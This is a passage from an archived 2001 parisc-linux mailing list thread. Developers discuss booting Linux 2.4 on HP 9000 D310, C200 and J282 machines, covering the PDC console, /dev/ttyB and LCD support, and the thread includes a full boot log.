TCP: Hash tables configured (established 8192 bind 16384)
eth0: link ok.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 192.168.1.10, my address is 192.168.1.25
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 192.168.1.10
Looking up port of RPC 100005/2 on 192.168.1.10
VFS: Mounted root (nfs filesystem) readonly.
Warning: unable to open an initial console.

So now, what major and minor should /dev/ttyB have to
function? /dev/console is 5 1 on my nfsroot.

Good job getting it to work this well, especially since it's listed as
untested! Also, the LCD on the front doesn't seem to do anything. What
needs to happen for that to work?

dave


-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with 0.9 ISO Images from mkhppa1.esiee.fr
Date: Mon, 04 Jun 2001 13:40:50 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <200106041940.NAA13519@puffin.external.hp.com>
References: <20010604170841.A8900@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620176 20328 80.91.229.3 (22 Nov 2014 01:36:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 13:48:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31DCD482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Jun 2001 13:48:28 -0600 (MDT)
Original-Received: from puffin (localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA13519;
	Mon, 4 Jun 2001 13:40:50 -0600
In-Reply-To: Your message of "Mon, 04 Jun 2001 17:08:41 +0200."
             <20010604170841.A8900@solo.franken.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:11233

Thomas Bogendoerfer wrote:
...
> Another question: I've tried the 64bit kernel on the C200 and got a
> system not supported error. Is this a known problem or is the C200
> really too old ?

That's exactly the model which Ryan Bradetich was trying to get working.
He's got the 64-bit PDC wrapper calls working but then ran into problems
with SCSI...I don't have a C200 and I didn't have time to followup either.

So I don't think it quite works yet - but it's not much more work either.
I suggest installing 32-bit w/serial console (should work fine) and
then work on 64-bit support.

> J282 (which AFAIK is older) booted the 64bit kernel 
> just fine, but had some problems with the interrupt of the serial console
> during install.

J282 might have serial on Dino and Clement (ESIEE) just hacked some support
for that...but I know it's not on the 0.9 ISOs. Booting from a lifimage
(newer kernel plus Dino patch) might work better.

BTW, Rbrad suspects current ccio driver is buggy and some older version
works better.  One which doesn't try to coalesce dma_map_sg() block lists.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Mon, 4 Jun 2001 16:45:47 -0500
Lines: 338
Approved: news@gmane.org
Message-ID: <01060416591200.00472@wolf01.my.home>
References: <Pine.LNX.4.21.0106041410590.20217-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620177 20330 80.91.229.3 (22 Nov 2014 01:36:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:17 +0000 (UTC)
To: <djweis@sjdjweis.com>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 15:59:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflash.com (unknown [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24C56482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 15:59:47 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp69.cc1.pflash.com [63.121.24.71]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005285640@vopserver.pflash.com>;
 Mon, 4 Jun 2001 16:54:44 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11234

Thanks for the feedback -

Your boot ends at the same point mine does -

I suspect that an entry needs to be made in /dev for the ttyB
device and probably a line in /etc/inittab to proc a getty on it -

But I am just guessing - a *nix expert will have to tell us how.

Your message listing tells me a lot - my 9000/720 uses the same
SCSI driver but doesn't work (yet) -

I have in the past (last week) built a working kernel - that used the
STI driver and did not need the "ttyB" hack to by-pass its call to
"register_console" in function "__init con_init of file linux/drivers/cha=
r/console.c

A seemingly related problem is getting my machine's HIL devices recognize=
d -
but the changes I made to fix the crator-on console_init fixed that also =
-
now, if I can only find my notes.

So - I will find how I did that - put it back into this V0.9 kernel, then=
 proceed to
learn why the LASI-Sim700 driver for the 53c7xx doesn't work on my model =
720.

I'll keep the list posted on what, if anything, I can find.

On Mon, 04 Jun 2001, djweis@sjdjweis.com wrote:
> I looked through the kernel source for a while and found the pdc/iodc
> console driver and changed my palo config to use ttyB and got a mostly
> complete boot! Here are the boot messages:
>=20
> Firmware Version  36.34
>=20
> Duplex Console IO Dependent Code (IODC) revision 4
>=20
> -----------------------------------------------------------------------=
-------
>    (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserve=
d
> -----------------------------------------------------------------------=
-------
>=20
>     Speed    Coprocessor State  Cache Size
>   ---------  -----------------  ----------
>    100 MHz   Functional          256 KB
>=20
>   128 MB of memory configured and tested.
>=20
>   Primary boot path:    4.5   (dec)  =20
>   Alternate boot path:  16/5.2   (dec)  =20
>   Console path:         0/0.0   (dec)  =20
>   Keyboard path:        16/7.0   (dec)  =20
>=20
> Processor is booting from first available device.
>=20
> To discontinue, press any key within 10 seconds.
>=20
> Boot terminated.
>=20
>=20
> ------- Main Menu -----------------------------------------------------=
--------
>=20
>         Command                         Description
>         -------                         -----------
>         BOot [PRI|ALT|<path>]           Boot from specified path
>         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
>         SEArch [DIsplay|IPL] [<path>]   Search for boot devices
>=20
>         COnfiguration [<command>]       Access Configuration menu/comma=
nds
>         INformation [<command>]         Access Information menu/command=
s
>         SERvice [<command>]             Access Service menu/commands
>=20
>         DIsplay                         Redisplay the current menu
>         HElp [<menu>|<command>]         Display help for menu or comman=
d
>         RESET                           Restart the system
> -------
> Main Menu: Enter command > boot lan
> Interact with IPL (Y or N)?> n
>=20
> Booting...=20
> Network Station Address 080009-ae8800
>=20
> Boot IO Dependent Code (IODC) revision 2
>=20
>=20
> HARD Booted.
> palo ipl 0.91 djweis@djweis.internal.sjdjweis.com Sun Jun  3 21:02:48 C=
DT 2001
> 0/vmlinux 2602334 bytes @ 0x7000
> Kernel: partition 0 file /vmlinux
> ELF32 executable
> Entry 00100000 first 00100000 n 5
> Segment 0 load 00100000 size 1507276 mediaptr 0x1000
> Segment 1 load 00270000 size 181552 mediaptr 0x171000
> Segment 2 load 002a0000 size 221560 mediaptr 0x19e000
> Segment 3 load 002d8000 size 8192 mediaptr 0x1d5000
> Segment 4 load 00305e88 size 75552 mediaptr 0x1d7e88
> branching to kernel entry point 0x00100000
> Set default PSW W bit to 0
> PDC Console Initialized
> Linux version 2.4.0-pa10 (djweis@djweis.internal.sjdjweis.com) (gcc ver=
sion 3.0 20010315 (prerelease)) #9 Mon Jun 4 12:50:30 CDT 2001
> FP[0] enabled: Rev 1 Model 13
> The 32-bit Kernel has started...
> Determining PDC firmware type: Newer Box
> setup_cmdline(0x65328,0x65328,0x0,0x0)
> PALO command line: 'HOME=3D/ TERM=3Dlinux root=3D/dev/nfs nfsroot=3D192=
=2E168.1.10 console=3DttyB'
> PALO initrd 0-0
> model   00004840 00000481 00000000 00000000 77361cea 100000f0 00000004 =
00000072 00000072
> vers    0000000c
> CPUID   vers 0 rev 0
> model   9000/811/D310
> Total Memory: 128 Mb
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 32768
> zone(0): 32768 pages.
> zone(1): 0 pages.
> zone(2): 0 pages.
> Searching for devices...
> Found devices:
> 1. UL 550 Lasi Core BA (11) at 0xf0100000, versions 0x2f, 0x0, 0x81, 0x=
0, 0x0,  additional addresses: 0xf010c000 0xf0100000=20
> 2. UL 550 Core SCSI (10) at 0xf0106000, versions 0x2f, 0x0, 0x82, 0x0, =
0x0
> 3. UL 350 Core LAN (802.3) (10) at 0xf0107000, versions 0x2f, 0x0, 0x8a=
, 0x0, 0x0
> 4. UL 550 Core Centronics (10) at 0xf0102000, versions 0x2f, 0x0, 0x74,=
 0x0, 0x0,  additional addresses: 0xf0101000 0xf0103000=20
> 5. UL 550 Core PC Keyboard (10) at 0xf0108000, versions 0x2f, 0x0, 0x84=
, 0x0, 0x0
> 6. UL 550 Core PC Keyboard (10) at 0xf0108100, versions 0x2f, 0x0, 0x84=
, 0x0, 0x0
> 7. UL 550 Core Wax BA (11) at 0xffe00000, versions 0x31, 0x0, 0x8e, 0x0=
, 0x0
> 8. UL 550 Wax Core RS-232 (10) at 0xffe02000, versions 0x31, 0x0, 0x8c,=
 0x0, 0x0
> 9. UL 550 Wax EISA BA (11) at 0xfc000000, versions 0x31, 0x0, 0x90, 0x0=
, 0x0,  additional addresses: 0xf0088000=20
> 10. Gecko BOA BC GSC+ Port (7) at 0xfff80000, versions 0x500, 0x0, 0xc,=
 0x0, 0x0
> 11. Bluefish Add-on FW-SCSI (4) at 0xfff84000, versions 0x13, 0x1, 0x89=
, 0x0, 0x80
> 12. Unknown device (0) at 0xfffbe000, versions 0x484, 0x0, 0x4, 0x0, 0x=
81
> 13. UL Proc L 100 (1) at 0xfffbf000, versions 0x57, 0x0, 0x9, 0x0, 0x0
> That's a total of 13 devices.
> CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
> Kernel command line: HOME=3D/ TERM=3Dlinux root=3D/dev/nfs nfsroot=3D19=
2.168.1.10 console=3DttyB
> Calibrating delay loop... 99.73 BogoMIPS
> Memory: 126668k available
> Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
> Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
> Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
> Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
> POSIX conformance testing by UNIFIX
> Lasi version 0 at 0xf0100000 found.
> LED display at f010c000 registered
> Wax at 0xffe00000 found.
> Wax: HIL Keyboard-NMI registered.
> Wax EISA bus adapter version 0x5761 at 0xffe00000
> Initializing Lasi PS/2-keyboard port at 0xf0108000...
> Support for Lasi PS/2-psaux not yet available !
> Found i82596 at 0xf0107000, IRQ 87
> early initialization of device eth0 is deferred
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Starting kswapd v1.8
> pty: 256 U<4>Lasi PS/2 transmit buffer timeout
> Lasi PS/2 transmit buffer timeout
> /2 transmit buffer timlp: driver loaded but no devices found
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> eth0: 82596 at 0xf0107000, 08 00 09 AE 88 00 IRQ 87.
> 82596.c $Revision: 1.18 $
> Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIA=
L_PCI enabled
> Testing ttyS0 (0x0000, 0xffe02800)...
> ttyS00 at iomem 0xffe02800 (irq =3D 121) is a 16550A
> Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
> parport_init_chip: initialize bidirectional-mode.
> parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
> lp0: using parport0 (interrupt-driven).
> SCSI subsystem driver Revision: 1.00
> sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86, options 0
> scsi0: Revision 0x2
> Post test1, istat 01, sstat0 00, dstat 84
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: Good, target data areas are dma coherent
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
>   Vendor: HP        Model: C1537A            Rev: HP02
>   Type:   Sequential-Access                  ANSI SCSI revision: 02
>   Vendor: TOSHIBA   Model: CD-ROM XM-5401TA  Rev: 1036
>   Type:   CD-ROM                             ANSI SCSI revision: 02
> zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
> ncr53c8xx: 53c720 detected
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> ncr53c720-0: restart (scsi reset).
> scsi1 : ncr53c8xx - version 3.3b
>   Vendor: SEAGATE   Model: ST32550W          Rev: HP10
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>   Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>   Vendor: SEAGATE   Model: ST32550W          Rev: HP10
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>   Vendor: SEAGATE   Model: ST34371W          Rev: HPM2
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>   Vendor: SEAGATE   Model: ST34573WC         Rev: HP05
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> ncr53c720-0-<5,0>: tagged command queue depth set to 8
> ncr53c720-0-<8,0>: tagged command queue depth set to 8
> ncr53c720-0-<9,0>: tagged command queue depth set to 8
> ncr53c720-0-<10,0>: tagged command queue depth set to 8
> ncr53c720-0-<11,0>: tagged command queue depth set to 8
> Detected scsi tape st0 at scsi0, channel 0, id 0, lun 0
> st: bufsize 32768, wrt 30720, max init. buffers 4, s/g segs 16.
> Detected scsi disk sda at scsi1, channel 0, id 5, lun 0
> Detected scsi disk sdb at scsi1, channel 0, id 8, lun 0
> Detected scsi disk sdc at scsi1, channel 0, id 9, lun 0
> Detected scsi disk sdd at scsi1, channel 0, id 10, lun 0
> Detected scsi disk sde at scsi1, channel 0, id 11, lun 0
> ncr53c720-0-<5,0>: wide msgout: 1-2-3-1.
> ncr53c720-0-<5,0>: wide msgin: 1-2-3-1.
> ncr53c720-0-<5,0>: wide: wide=3D1 chg=3D0.
> ncr53c720-0-<5,0>: sync_msgout: 1-3-1-19-8.
> ncr53c720-0-<5,0>: sync msgin: 1-3-1-19-8.
> ncr53c720-0-<5,0>: sync: per=3D25 scntl3=3D0x10 ofs=3D8 fak=3D0 chg=3D0=
=2E
> ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
> SCSI device sda: 4165272 512-byte hdwr sectors (2133 MB)
> Partition check:
>  sda: unknown partition table
> ncr53c720-0-<8,0>: wide msgout: 1-2-3-1.
> ncr53c720-0-<8,0>: wide msgin: 1-2-3-1.
> ncr53c720-0-<8,0>: wide: wide=3D1 chg=3D0.
> ncr53c720-0-<8,0>: sync_msgout: 1-3-1-19-8.
> ncr53c720-0-<8,0>: sync msgin: 1-3-1-19-8.
> ncr53c720-0-<8,0>: sync: per=3D25 scntl3=3D0x10 ofs=3D8 fak=3D0 chg=3D0=
=2E
> ncr53c720-0-<8,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
> SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
>  sdb: unknown partition table
> ncr53c720-0-<9,0>: wide msgout: 1-2-3-1.
> ncr53c720-0-<9,0>: wide msgin: 1-2-3-1.
> ncr53c720-0-<9,0>: wide: wide=3D1 chg=3D0.
> ncr53c720-0-<9,0>: sync_msgout: 1-3-1-19-8.
> ncr53c720-0-<9,0>: sync msgin: 1-3-1-19-8.
> ncr53c720-0-<9,0>: sync: per=3D25 scntl3=3D0x10 ofs=3D8 fak=3D0 chg=3D0=
=2E
> ncr53c720-0-<9,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
> SCSI device sdc: 4165272 512-byte hdwr sectors (2133 MB)
>  sdc: unknown partition table
> ncr53c720-0-<10,0>: wide msgout: 1-2-3-1.
> ncr53c720-0-<10,0>: wide msgin: 1-2-3-1.
> ncr53c720-0-<10,0>: wide: wide=3D1 chg=3D0.
> ncr53c720-0-<10,0>: sync_msgout: 1-3-1-19-8.
> ncr53c720-0-<10,0>: sync msgin: 1-3-1-19-8.
> ncr53c720-0-<10,0>: sync: per=3D25 scntl3=3D0x10 ofs=3D8 fak=3D0 chg=3D=
0.
> ncr53c720-0-<10,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
> SCSI device sdd: 8388314 512-byte hdwr sectors (4295 MB)
>  sdd: unknown partition table
> ncr53c720-0-<11,0>: wide msgout: 1-2-3-1.
> ncr53c720-0-<11,0>: wide msgin: 1-2-3-1.
> ncr53c720-0-<11,0>: wide: wide=3D1 chg=3D0.
> ncr53c720-0-<11,0>: sync_msgout: 1-3-1-19-8.
> ncr53c720-0-<11,0>: sync msgin: 1-3-1-19-8.
> ncr53c720-0-<11,0>: sync: per=3D25 scntl3=3D0x10 ofs=3D8 fak=3D0 chg=3D=
0.
> ncr53c720-0-<11,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
> SCSI device sde: 8388314 512-byte hdwr sectors (4295 MB)
>  sde: unknown partition table
> Detected scsi CD-ROM sr0 at scsi0, channel 0, id 2, lun 0
> Uniform CD-ROM driver Revision: 3.12
> linear personality registered
> raid0 personality registered
> raid1 personality registered
> raid5 personality registered
> raid5: measuring checksumming speed
>    8regs     :    75.819 MB/sec
>    8regs_prefetch:    75.819 MB/sec
>    32regs    :    88.392 MB/sec
>    32regs_prefetch:    88.392 MB/sec
> raid5: using function: 32regs_prefetch (88.392 MB/sec)
> md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
> md.c: sizeof(mdp_super_t) =3D 4096
> NET4: Linux TCP/IP 1.0 for NET4.0
> IP Protocols: ICMP, UDP, TCP
> IP: routing cache hash table of 512 buckets, 4Kbytes
> TCP: Hash tables configured (established 8192 bind 16384)
> eth0: link ok.
> Sending BOOTP requests.... OK
> IP-Config: Got BOOTP answer from 192.168.1.10, my address is 192.168.1.=
25
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> Looking up port of RPC 100003/2 on 192.168.1.10
> Looking up port of RPC 100005/2 on 192.168.1.10
> VFS: Mounted root (nfs filesystem) readonly.
> Warning: unable to open an initial console.
>=20
> So now, what major and minor should /dev/ttyB have to
> function? /dev/console is 5 1 on my nfsroot.
>=20
> Good job getting it to work this well, especially since it's listed as
> untested! Also, the LCD on the front doesn't seem to do anything. What
> needs to happen for that to work?
>=20
> dave
>=20
>=20
> --=20
> Dave Weis             "I believe there are more instances of the abridg=
ement
> djweis@sjdjweis.com   of the freedom of the people by gradual and silen=
t
>                       encroachments of those in power than by violent=20
>                       and sudden usurpations."- James Madison
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Mon, 4 Jun 2001 17:09:34 -0500 (CDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106041708310.20217-100000@oliver.internal.sjdjweis.com>
References: <01060416591200.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620177 20331 80.91.229.3 (22 Nov 2014 01:36:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Michael S. Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 16:08:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79D38482A
	for <parisc-linux@parisc-linux.org>; Mon,  4 Jun 2001 16:07:59 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id RAA21229;
	Mon, 4 Jun 2001 17:09:34 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <01060416591200.00472@wolf01.my.home>
Xref: news.gmane.org gmane.linux.ports.parisc:11235

On Mon, 4 Jun 2001, Michael S. Zick wrote:
> Thanks for the feedback -
> Your boot ends at the same point mine does -
> 
> I suspect that an entry needs to be made in /dev for the ttyB
> device and probably a line in /etc/inittab to proc a getty on it -
> 
> But I am just guessing - a *nix expert will have to tell us how.

I'll try it out in a little bit and report back when I get home.

dave

> Your message listing tells me a lot - my 9000/720 uses the same
> SCSI driver but doesn't work (yet) -
> 
> I have in the past (last week) built a working kernel - that used the
> STI driver and did not need the "ttyB" hack to by-pass its call to
> "register_console" in function "__init con_init of file linux/drivers/char/console.c
> 
> A seemingly related problem is getting my machine's HIL devices recognized -
> but the changes I made to fix the crator-on console_init fixed that also -
> now, if I can only find my notes.
> 
> So - I will find how I did that - put it back into this V0.9 kernel, then proceed to
> learn why the LASI-Sim700 driver for the 53c7xx doesn't work on my model 720.
> 
> I'll keep the list posted on what, if anything, I can find.
> 

-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with 0.9 ISO Images from mkhppa1.esiee.fr
Date: Tue, 5 Jun 2001 00:52:05 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20010605005205.B3234@solo.franken.de>
References: <20010604170841.A8900@solo.franken.de> <200106041940.NAA13519@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620177 20332 80.91.229.3 (22 Nov 2014 01:36:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  4 16:54:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD90546F3.dip.t-dialin.net [217.5.70.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id C031B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Jun 2001 16:54:50 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id AAA03583;
	Tue, 5 Jun 2001 00:52:05 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200106041940.NAA13519@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Jun 04, 2001 at 01:40:50PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11236

On Mon, Jun 04, 2001 at 01:40:50PM -0600, Grant Grundler wrote:
> So I don't think it quite works yet - but it's not much more work either.
> I suggest installing 32-bit w/serial console (should work fine) and

that's what I did, just wondered a little bit.

> J282 might have serial on Dino and Clement (ESIEE) just hacked some support

I don't think so, J282 doesn't even have PCI. Right now I can't boot it,
because I've disassembled my computer room, but if memory serves right
serial is attached to either wax or lasi.

> for that...but I know it's not on the 0.9 ISOs. Booting from a lifimage
> (newer kernel plus Dino patch) might work better.

even without having Dino ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Tue, 5 Jun 2001 10:46:55 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010605104655.H25745@linuxcare.com>
References: <Pine.LNX.4.21.0106041410590.20217-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620178 20335 80.91.229.3 (22 Nov 2014 01:36:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: djweis@sjdjweis.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 03:50:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD7B6482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 03:50:34 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B511FB007; Tue,  5 Jun 2001 10:46:55 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0106041410590.20217-100000@oliver.internal.sjdjweis.com>; from djweis@sjdjweis.com on Mon, Jun 04, 2001 at 02:16:49PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:11237

On Mon, Jun 04, 2001 at 02:16:49PM -0500, djweis@sjdjweis.com wrote:
> So now, what major and minor should /dev/ttyB have to
> function? /dev/console is 5 1 on my nfsroot.

My understanding of the pdc console is that it is output only,
used only until a real console device is available, and so wont
work as a linux console.  Hopefully someone will correct me if I'm
wrong.

> Good job getting it to work this well, especially since it's listed as
> untested! Also, the LCD on the front doesn't seem to do anything. What
> needs to happen for that to work?

I turned off LCD support in the release kernels because of reports
that it was causing problems on some systems.  See
<http://bugs.parisc-linux.org/db/10/104.html>.  You can turn it
back on if you build your own kernel.

Richard





From - Thu Nov 08 21:17:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jheumann@fonts.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9ser can't install on D210
Date: Tue, 05 Jun 2001 12:23:14 +0200
Lines: 220
Approved: news@gmane.org
Message-ID: <3B1CB312.1C9DBAB9@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620178 20336 80.91.229.3 (22 Nov 2014 01:36:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 06:25:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A6B6482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 06:25:29 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA18466
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Jun 2001 06:17:47 -0600
Original-Received: (qmail 27087 invoked by uid 15267); 5 Jun 2001 12:25:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27057 invoked from network); 5 Jun 2001 12:25:02 -0000
Original-Received: from unknown (HELO mail.fonts.de) (212.109.160.20)
  by mailserv2.iuinc.com with SMTP; 5 Jun 2001 12:25:02 -0000
Original-Received: from fonts.de [10.53.102.32] by mail.fonts.de with ESMTP
  (SMTPD32-6.06) id AF5B83D500CA; Tue, 05 Jun 2001 14:32:11 +0100
Original-Sender: jheumann@mailserv2.iuinc.com
